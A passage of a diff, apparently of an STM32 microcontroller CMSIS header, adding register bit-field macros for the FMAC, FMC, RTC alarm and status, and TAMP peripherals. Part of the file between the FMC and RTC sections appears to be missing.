FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E 